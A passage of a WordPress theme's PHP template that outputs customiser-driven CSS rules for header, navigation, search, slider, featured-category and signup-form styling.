            .show-search form.pc-searchform input.search-input{ font-size: <?php echo get_theme_mod( 'size_header_search_input' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'size_header_cart_icon_check' ) ): ?>
            .pcheader-icon.shoping-cart-icon > a > i{ font-size: <?php echo get_theme_mod( 'size_header_cart_icon_check' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_topbar_menu_uppercase' ) ): ?>
            #navigation .menu > li > a, #navigation ul.menu ul.sub-menu li > a, .navigation ul.menu ul.sub-menu li > a, #navigation .penci-megamenu .penci-mega-child-categories a, .navigation .penci-megamenu .penci-mega-child-categories a{ text-transform: none; }
            #navigation .penci-megamenu .post-mega-title a{ text-transform: uppercase; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_size_lv1' ) ): ?>
            #navigation ul.menu > li > a, #navigation .menu > ul > li > a { font-size: <?php echo get_theme_mod( 'penci_font_size_lv1' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_size_drop' ) ): ?>
            #navigation ul.menu ul.sub-menu li > a, #navigation .penci-megamenu .penci-mega-child-categories a, #navigation .penci-megamenu .post-mega-title a, #navigation .menu ul ul.sub-menu li a { font-size: <?php echo get_theme_mod( 'penci_font_size_drop' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_hidesocial_nav' ) ): ?>
            @media only screen and (max-width: 767px){ .main-nav-social{ display: none; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_size_title_cat_mega' ) ): ?>
			#navigation .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n + 1) .penci-mega-post-inner .penci-mega-meta .post-mega-title a { font-size:<?php echo get_theme_mod( 'penci_font_size_title_cat_mega' ) * 1.28; ?>px; }
            #navigation .penci-megamenu .post-mega-title a, .pc-builder-element .navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a{ font-size:<?php echo get_theme_mod( 'penci_font_size_title_cat_mega' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_size_child_cat_mega' ) ): ?>
            #navigation .penci-megamenu .penci-mega-child-categories a, .pc-builder-element.pc-main-menu .navigation .menu li .penci-mega-child-categories a{ font-size: <?php echo get_theme_mod( 'penci_font_size_child_cat_mega' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_size_cat_mega' ) ): ?>
            #navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name, .navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name { font-size:<?php echo get_theme_mod( 'penci_font_size_cat_mega' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_size_date_mega' ) ): ?>
            #navigation .penci-megamenu .penci-mega-date, .navigation .penci-megamenu .penci-mega-date { font-size:<?php echo get_theme_mod( 'penci_font_size_date_mega' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_vernav_remove_line' ) ): ?>
            #sidebar-nav-logo{ padding-bottom: 0; } #sidebar-nav-logo:before { content: none; display: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_vernav_fsearchinput' ) ): ?>
            #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input{ font-size:<?php echo get_theme_mod( 'penci_vernav_fsearchinput' ); ?>px; }
		<?php endif; ?>
		<?php 
		$penci_vernav_width = get_theme_mod( 'penci_vernav_width' );
		if ( $penci_vernav_width ): 
			$penci_vernav_width = max(200, min($penci_vernav_width, 330));
			?>
            body{ --pcsnav-w:<?php echo $penci_vernav_width; ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_icons_mobile_nav' ) ): ?>
            #sidebar-nav .header-social.sidebar-nav-social a i { font-size: <?php echo get_theme_mod( 'penci_font_icons_mobile_nav' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_size_mobile_nav' ) ): ?>
            #sidebar-nav .menu li a { font-size: <?php echo get_theme_mod( 'penci_font_size_mobile_nav' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_vernav_off_uppercase' ) ): ?>
            #sidebar-nav .menu li a { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_size_menu_hbg' ) ): ?>
            .penci-menu-hbg .menu li a { font-size: <?php echo get_theme_mod( 'penci_font_size_menu_hbg' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_size_submenu_hbg' ) ): ?>
            .penci-menu-hbg .menu ul.sub-menu li a { font-size: <?php echo get_theme_mod( 'penci_font_size_submenu_hbg' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_menu_hbg_lowcase' ) ): ?>
            .penci-menu-hbg .menu li a { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_off_uppercase_cat_mega' ) ): ?>
            #navigation .penci-megamenu .post-mega-title a, .pc-builder-element .navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a{ text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_slogan_color' ) ): ?>
            .header-slogan .header-slogan-text { color:  <?php echo get_theme_mod( 'penci_header_slogan_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_slogan_line_color' ) ): ?>
            .header-slogan .header-slogan-text:before, .header-slogan .header-slogan-text:after { background:  <?php echo get_theme_mod( 'penci_header_slogan_line_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_drop_text_color' ) ): ?>
            #navigation .menu .sub-menu li a { color:  <?php echo get_theme_mod( 'penci_drop_text_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_drop_text_hover_color' ) ): ?>
            #navigation .menu .sub-menu li a:hover, #navigation .menu .sub-menu li.current-menu-item > a, #navigation .sub-menu li:hover > a { color:  <?php echo get_theme_mod( 'penci_drop_text_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_drop_border_style2' ) ): ?>
            #navigation.menu-style-2 ul.menu ul.sub-menu:before, #navigation.menu-style-2 .menu ul ul.sub-menu:before { background-color: <?php echo get_theme_mod( 'penci_drop_border_style2' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_main_bar_search_magnify' ) ): ?>
            .top-search-classes a.cart-contents, .pcheader-icon > a, #navigation .button-menu-mobile,.top-search-classes > a, #navigation #penci-header-bookmark > a { color: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; }
            #navigation .button-menu-mobile svg { fill: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; }
            .show-search form.pc-searchform input.search-input::-webkit-input-placeholder{ color: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; }
            .show-search form.pc-searchform input.search-input:-moz-placeholder { color: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; opacity: 1;}
            .show-search form.pc-searchform input.search-input::-moz-placeholder {color: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; opacity: 1; }
            .show-search form.pc-searchform input.search-input:-ms-input-placeholder { color: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; }
            .penci-search-form form input.search-input::-webkit-input-placeholder{ color: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; }
            .penci-search-form form input.search-input:-moz-placeholder { color: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; opacity: 1;}
            .penci-search-form form input.search-input::-moz-placeholder {color: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; opacity: 1; }
            .penci-search-form form input.search-input:-ms-input-placeholder { color: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; }
            .show-search form.pc-searchform input.search-input,.penci-search-form form input.search-input{ color: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; }

		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_main_bar_close_color' ) ): ?>
            .show-search a.close-search { color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; }
            .header-search-style-overlay .show-search a.close-search { color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; }
            .header-search-style-default .pcajx-search-loading.show-search .penci-search-form form button:before {border-left-color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>;}
            .show-search form.pc-searchform input.search-input::-webkit-input-placeholder{ color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; }
            .show-search form.pc-searchform input.search-input:-moz-placeholder { color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; opacity: 1;}
            .show-search form.pc-searchform input.search-input::-moz-placeholder {color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; opacity: 1; }
            .show-search form.pc-searchform input.search-input:-ms-input-placeholder { color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; }
            .penci-search-form form input.search-input::-webkit-input-placeholder{ color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; }
            .penci-search-form form input.search-input:-moz-placeholder { color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; opacity: 1;}
            .penci-search-form form input.search-input::-moz-placeholder {color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; opacity: 1; }
            .penci-search-form form input.search-input:-ms-input-placeholder { color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; }
            .show-search form.pc-searchform input.search-input,.penci-search-form form input.search-input{ color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_search_obg_color' ) ): ?>
            .header-search-style-overlay .show-search { background-color: <?php echo get_theme_mod( 'penci_search_obg_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_search_oinput_color' ) ): ?>
            .header-search-style-overlay .show-search form.pc-searchform input.search-input { color: <?php echo get_theme_mod( 'penci_search_oinput_color' ); ?>; }
            .header-search-style-overlay .show-search form.pc-searchform ::placeholder{ color: <?php echo get_theme_mod( 'penci_search_oinput_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_search_obd_color' ) ): ?>
            .header-search-style-overlay .show-search form.pc-searchform .pc-searchform-inner { border-bottom-color: <?php echo get_theme_mod( 'penci_search_obd_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_off_uppercase_title' ) ): ?>
            .penci-featured-content .feat-text h3 a, .featured-style-35 .feat-text-right h3 a, .featured-style-4 .penci-featured-content .feat-text h3 a, .penci-mag-featured-content h3 a, .pencislider-container .pencislider-content .pencislider-title { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_lowcase_popular_posts' ) ): ?>
            .penci-home-popular-post .item-related h3 a { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_fslider_cat_fsize' ) ): ?>
            .featured-area .cat > a.penci-cat-name { font-size: <?php echo get_theme_mod( 'penci_fslider_cat_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_fslider_meta_fsize' ) ): ?>
            .penci-featured-content .feat-text .feat-meta span, .penci-43-slider-item .penci-fslider-fmeta span { font-size: <?php echo get_theme_mod( 'penci_fslider_meta_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_fslider_title_fsize' ) ): ?>
            @media only screen and (min-width: 768px){ .penci-featured-content .feat-text h3 a, .featured-style-4 .penci-featured-content .feat-text h3 a, .featured-style-6 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-7 .penci-mag-featured-content h3 a, .featured-style-8 .penci-mag-featured-content h3 a, .featured-style-9 .penci-mag-featured-content h3 a, .featured-style-10 .penci-mag-featured-content h3 a, .featured-style-11 .penci-mag-featured-content h3 a, .featured-style-12 .penci-mag-featured-content h3 a, .featured-style-13 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-14 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-15 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-16 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-17 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-18 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-19 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-19 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-20 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-20 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-21 .penci-item-4 .penci-mag-featured-content h3 a, .featured-style-21 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-24 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-25 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-26 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-27 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-28 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-29 .penci-featured-content .feat-text h3 a, .featured-style-35 .feat-text-right h3 a, .featured-style-37 .penci-item-1 .penci-mag-featured-content h3 a, .penci-43-slider-item .title-part{ font-size: <?php echo get_theme_mod( 'penci_fslider_title_fsize' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_fslider_smalltitle_fsize' ) ): ?>
            @media only screen and (min-width: 768px){ .penci-mag-featured-content h3 a, .featured-style-13 .penci-mag-featured-content h3 a, .featured-style-15 .penci-mag-featured-content h3 a, .featured-style-18 .penci-mag-featured-content h3 a, .featured-style-24 .penci-item-2 .penci-mag-featured-content h3 a, .pcslider-42-ct h3, .penci-slider41-t-item .pcslider-41-ct h3, .penci-slider44-t-item h3 { font-size: <?php echo get_theme_mod( 'penci_fslider_smalltitle_fsize' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_fslider_tinytitle_fsize' ) ): ?>
            @media only screen and (min-width: 768px){ .featured-style-22 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-4 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-5 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-6 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-4 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-5 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-24 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-24 .penci-item-0 .penci-mag-featured-content h3 a{ font-size: <?php echo get_theme_mod( 'penci_fslider_tinytitle_fsize' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_fslider_excerpt_fsize' ) ): ?>
            .featured-style-35 .featured-content-excerpt p,.featured-style-40 .featured-content-excerpt p,.featured-style-41 .featured-content-excerpt p,.featured-style-42 .featured-content-excerpt p,.featured-style-44 .featured-content-excerpt p, .featured-slider-excerpt p, .penci-43-slider-item .featured-slider-excerpt p { font-size: <?php echo get_theme_mod( 'penci_fslider_excerpt_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_fslider_button_fsize' ) ): ?>
            .featured-style-29 .penci-featured-slider-button a, .featured-style-35 .penci-featured-slider-button a, .featured-style-38 .penci-featured-slider-button a, .featured-style-40 .penci-featured-slider-button a, .featured-style-41 .penci-featured-slider-button a, .featured-style-42 .penci-featured-slider-button a, .featured-style-44 .penci-featured-slider-button a { font-size: <?php echo get_theme_mod( 'penci_fslider_button_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_fslider_title_fsize_mobile' ) ): ?>
            @media only screen and (max-width: 479px){ .penci-featured-content .feat-text h3 a, .featured-style-4 .penci-featured-content .feat-text h3 a, .featured-style-5 .penci-featured-content .feat-text h3 a, .featured-style-6 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-7 .penci-mag-featured-content h3 a, .featured-style-8 .penci-mag-featured-content h3 a, .featured-style-9 .penci-mag-featured-content h3 a, .featured-style-10 .penci-mag-featured-content h3 a, .featured-style-11 .penci-mag-featured-content h3 a, .featured-style-12 .penci-mag-featured-content h3 a, .featured-style-13 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-14 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-15 .penci-mag-featured-content h3 a, .featured-style-15 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-16 .penci-mag-featured-content h3 a, .featured-style-16 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-17 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-18 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-20 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-21 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-26 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-27 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-28 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-29 .penci-featured-content .feat-text h3 a, .featured-style-30 .penci-featured-content .feat-text h3 a, .featured-style-35 .feat-text-right h3 a, .featured-style-37 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-38 .penci-featured-content .feat-text h3 a, .penci-43-slider-item .title-part{ font-size: <?php echo get_theme_mod( 'penci_fslider_title_fsize_mobile' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_fslider_small_fsize_mobile' ) ): ?>
            @media only screen and (max-width: 479px){ .penci-mag-featured-content h3 a, .featured-style-13 .penci-mag-featured-content h3 a, .featured-style-18 .penci-mag-featured-content h3 a, .featured-style-19 .penci-mag-featured-content h3 a, .featured-style-19 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-19 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-20 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-20 .penci-item-4 .penci-mag-featured-content h3 a, .featured-style-20 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-20 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-21 .penci-item-4 .penci-mag-featured-content h3 a, .featured-style-21 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-21 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-21 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-4 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-5 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-6 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-4 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-5 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-24 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-24 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-24 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-24 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-25 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-25 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-25 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-25 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-26 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-26 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-26 .penci-item-4 .penci-mag-featured-content h3 a, .featured-style-26 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-27 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-27 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-27 .penci-item-4 .penci-mag-featured-content h3 a, .featured-style-27 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-28 .penci-mag-featured-content h3 a{ font-size: <?php echo get_theme_mod( 'penci_fslider_small_fsize_mobile' ); ?>px; } }
		<?php endif; ?>
		<?php echo penci_renders_css( '.pencislider-container .pencislider-content .pencislider-title', 'penci_pslider_title_fsize' ); ?>
		<?php echo penci_renders_css( '.pencislider-container .pencislider-content .pencislider-caption', 'penci_pslider_caption_fsize' ); ?>
		<?php echo penci_renders_css( '.pencislider-container .pencislider-content .pencislider-button', 'penci_pslider_button_fsize' ); ?>
		<?php if ( get_theme_mod( 'penci_featured_cat_margin' ) ):
			$margin_space = get_theme_mod( 'penci_featured_cat_margin' );
			$margin_space       = absint( $margin_space );
			?>
            .home-featured-cat-content, .penci-featured-cat-seemore, .penci-featured-cat-custom-ads, .home-featured-cat-content.style-8 { margin-bottom: <?php echo $margin_space; ?>px; }
            .home-featured-cat-content.style-8 .penci-grid li.list-post:last-child{ margin-bottom: 0; }
            .home-featured-cat-content.style-3, .home-featured-cat-content.style-11{ margin-bottom: <?php echo( $margin_space - 10 ); ?>px; }
            .home-featured-cat-content.style-7{ margin-bottom: <?php echo( $margin_space - 26 ); ?>px; }
            .home-featured-cat-content.style-13{ margin-bottom: <?php echo( $margin_space - 20 ); ?>px; }
            .penci-featured-cat-seemore, .penci-featured-cat-custom-ads{ margin-top: <?php echo - ( $margin_space - 20 ); ?>px; }
            .penci-featured-cat-seemore.penci-seemore-style-7, .mag-cat-style-7 .penci-featured-cat-custom-ads{ margin-top: <?php echo - ( abs( $margin_space - 26 ) + 4 ); ?>px; }
            .penci-featured-cat-seemore.penci-seemore-style-8, .mag-cat-style-8 .penci-featured-cat-custom-ads{ margin-top: <?php echo - ( abs( $margin_space - 60 ) - 20 ); ?>px; }
            .penci-featured-cat-seemore.penci-seemore-style-13, .mag-cat-style-13 .penci-featured-cat-custom-ads{ margin-top: <?php echo - ( $margin_space - 20 ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_feacat_rmborder' ) ): ?>
            .home-featured-cat-content .mag-post-box{ border-bottom: none; margin-bottom: 20px; padding-bottom: 0; }
            .home-featured-cat-content.style-2 .mag-post-box.first-post, .home-featured-cat-content.style-10 .mag-post-box.first-post, .home-featured-cat-content.style-8 .penci-grid li.list-post{ padding-bottom: 0; border-bottom: none; }
            .home-featured-cat-content.style-14 .mag-post-box, .home-featured-cat-content.style-14 .mag-post-box{ padding-bottom: 0; margin-bottom: 20px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_cat_imgwidth' ) ): ?>
            .home-featured-cat-content.style-15 .penci-image-holder.small-fix-size, .home-featured-cat-content .penci-image-holder.small-fix-size{ width: <?php echo get_theme_mod( 'penci_featured_cat_imgwidth' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_filter_type' ) != 'tags' && get_theme_mod( 'penci_featured_cat' ) && get_theme_mod( 'penci_featured_cat_hide' ) ):
			$featured_cat_id = get_theme_mod( 'penci_featured_cat' );
			?>
            .widget_categories ul li.cat-item-<?php echo $featured_cat_id; ?>, .widget_categories select option[value="<?php echo $featured_cat_id; ?>"], .widget_tag_cloud .tag-cloud-link.tag-link-<?php echo $featured_cat_id; ?>{ display: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured_cat_lowcase' ) ): ?>
            .penci-homepage-title.penci-magazine-title h3 a, .penci-border-arrow.penci-homepage-title .inner-arrow { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_cat_size' ) ): ?>
            .penci-homepage-title.penci-magazine-title h3 a, .penci-border-arrow.penci-homepage-title .inner-arrow { font-size: <?php echo get_theme_mod( 'penci_featured_cat_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featuredcat_cat_size' ) ): ?>
            .home-featured-cat-content .cat > a.penci-cat-name { font-size: <?php echo get_theme_mod( 'penci_featuredcat_cat_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featuredcat_meta_size' ) ): ?>
            .home-featured-cat-content .grid-post-box-meta, .home-featured-cat-content.style-12 .magcat-detail .mag-meta, .penci-fea-cat-style-13 .grid-post-box-meta, .home-featured-cat-content.style-14 .mag-meta{ font-size: <?php echo get_theme_mod( 'penci_featuredcat_meta_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featuredcat_excerpt_size' ) ): ?>
            .mag-excerpt p, .mag-excerpt, .home-featured-cat-content .item-content p, .home-featured-cat-content .item-content{ font-size: <?php echo get_theme_mod( 'penci_featuredcat_excerpt_size' ); ?>px; }
		<?php endif; ?>
		<?php echo penci_renders_css( '.home-featured-cat-content .penci-magcat-carousel .magcat-detail h3 a, .home-featured-cat-content .penci-grid li .item h2 a, .home-featured-cat-content .mag-photo .magcat-detail h3 a, .home-featured-cat-content .first-post .magcat-detail h3 a', 'penci_featuredcat_title_size' ); ?>
		<?php echo penci_renders_css( '.home-featured-cat-content .magcat-detail h3 a', 'penci_featuredcat_smtitle_size' ); ?>
		<?php echo penci_renders_css( '.penci-single-mag-slider .magcat-detail .magcat-titlte', 'penci_featuredcat4_title_size' ); ?>
		<?php echo penci_renders_css( '.home-featured-cat-content.style-12 .penci-magcat-carousel .magcat-detail h3 a, .home-featured-cat-content .penci-grid.penci-fea-cat-style-13 li .item h2 a', 'penci_featuredcat12_title_size' ); ?>
		<?php echo penci_renders_css( '.home-featured-cat-content.style-14 .first-post .magcat-detail h3 a', 'penci_featuredcat14_ftitle_size' ); ?>
		<?php echo penci_renders_css( '.home-featured-cat-content .magcat-detail .magcat-title-small a', 'penci_featuredcat14_title_size' ); ?>
		<?php if ( get_theme_mod( 'penci_featuredcat_viewall_size' ) ): ?>
            .penci-featured-cat-seemore a, .penci-featured-cat-seemore.penci-btn-make-button a{ font-size: <?php echo get_theme_mod( 'penci_featuredcat_viewall_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_cat_image_8' ) ): ?>
            .penci-homepage-title.style-8 .inner-arrow { background-image: url(<?php echo get_theme_mod( 'penci_featured_cat_image_8' ); ?>); }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_cat8_repeat' ) ): ?>
            .penci-homepage-title.style-8 .inner-arrow { background-repeat: <?php echo get_theme_mod( 'penci_featured_cat8_repeat' ); ?>; background-size: auto; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_penci_slider_ratio' ) ): ?>
            .penci-owl-carousel .pencislider-item .penci-image-holder{ height: auto !important; }
            .penci-owl-carousel .pencislider-item .penci-image-holder:before { content: ''; padding-top: <?php echo get_theme_mod( 'penci_featured_penci_slider_ratio' ); ?>%; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_penci_slider_remove_overlay' ) ): ?>
            .pencislider-container .pencislider-content .pencislider-title span, .pencislider-container .pencislider-content .pencislider-caption span{ background: none; padding: 0; }
		<?php endif; ?>
        .penci-header-signup-form { padding-top: <?php echo get_theme_mod( 'penci_header_signup_padding' ); ?>px; padding-bottom: <?php echo get_theme_mod( 'penci_header_signup_padding' ); ?>px; }
		<?php if ( get_theme_mod( 'penci_header_signup_fdesc' ) ): ?>
            .penci-header-signup-form .mc4wp-form-fields > p{ font-size: <?php echo get_theme_mod( 'penci_header_signup_fdesc' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_signup_finput' ) ): ?>
            .penci-header-signup-form .mc4wp-form input[type="text"], .penci-header-signup-form .mc4wp-form input[type="email"], .penci-header-signup-form .mc4wp-form input[type="date"], .penci-header-signup-form .mc4wp-form input[type="number"]{ font-size: <?php echo get_theme_mod( 'penci_header_signup_finput' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_signup_fsubmit' ) ): ?>
            .penci-header-signup-form .widget input[type="submit"] { font-size: <?php echo get_theme_mod( 'penci_header_signup_fsubmit' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_signup_bg' ) ): ?>
            .penci-header-signup-form { background-color: <?php echo get_theme_mod( 'penci_header_signup_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_signup_color' ) ): ?>
            .penci-header-signup-form .mc4wp-form, .penci-header-signup-form h4.header-signup-form, .penci-header-signup-form .mc4wp-form-fields > p, .penci-header-signup-form form > p { color: <?php echo get_theme_mod( 'penci_header_signup_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_signup_input_border' ) ): ?>
            .penci-header-signup-form .mc4wp-form input[type="text"], .penci-header-signup-form .mc4wp-form input[type="email"] { border-color: <?php echo get_theme_mod( 'penci_header_signup_input_border' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_signup_input_color' ) ): ?>
            .penci-header-signup-form .mc4wp-form input[type="text"], .penci-header-signup-form .mc4wp-form input[type="email"] { color: <?php echo get_theme_mod( 'penci_header_signup_input_color' ); ?>; }
